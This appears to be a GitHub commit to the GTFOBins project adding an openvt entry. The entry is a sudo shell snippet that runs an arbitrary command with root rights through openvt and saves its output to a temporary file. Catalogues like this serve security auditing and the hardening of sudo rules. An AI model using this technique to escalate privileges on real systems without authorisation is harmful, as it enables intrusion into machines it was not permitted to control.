Add openvt

This commit is contained in:
Andrea Cardaci 2021-01-21 14:51:12 +01:00 committed by GitHub
commit d9c80007cb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

10
_gtfobins/openvt.md Normal file
View File

@ -0,0 +1,10 @@
---
functions:
sudo:
- description: The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file.
code: |
COMMAND=id
TF=$(mktemp -u)
sudo openvt -- sh -c "$COMMAND >$TF 2>&1"
cat $TF
---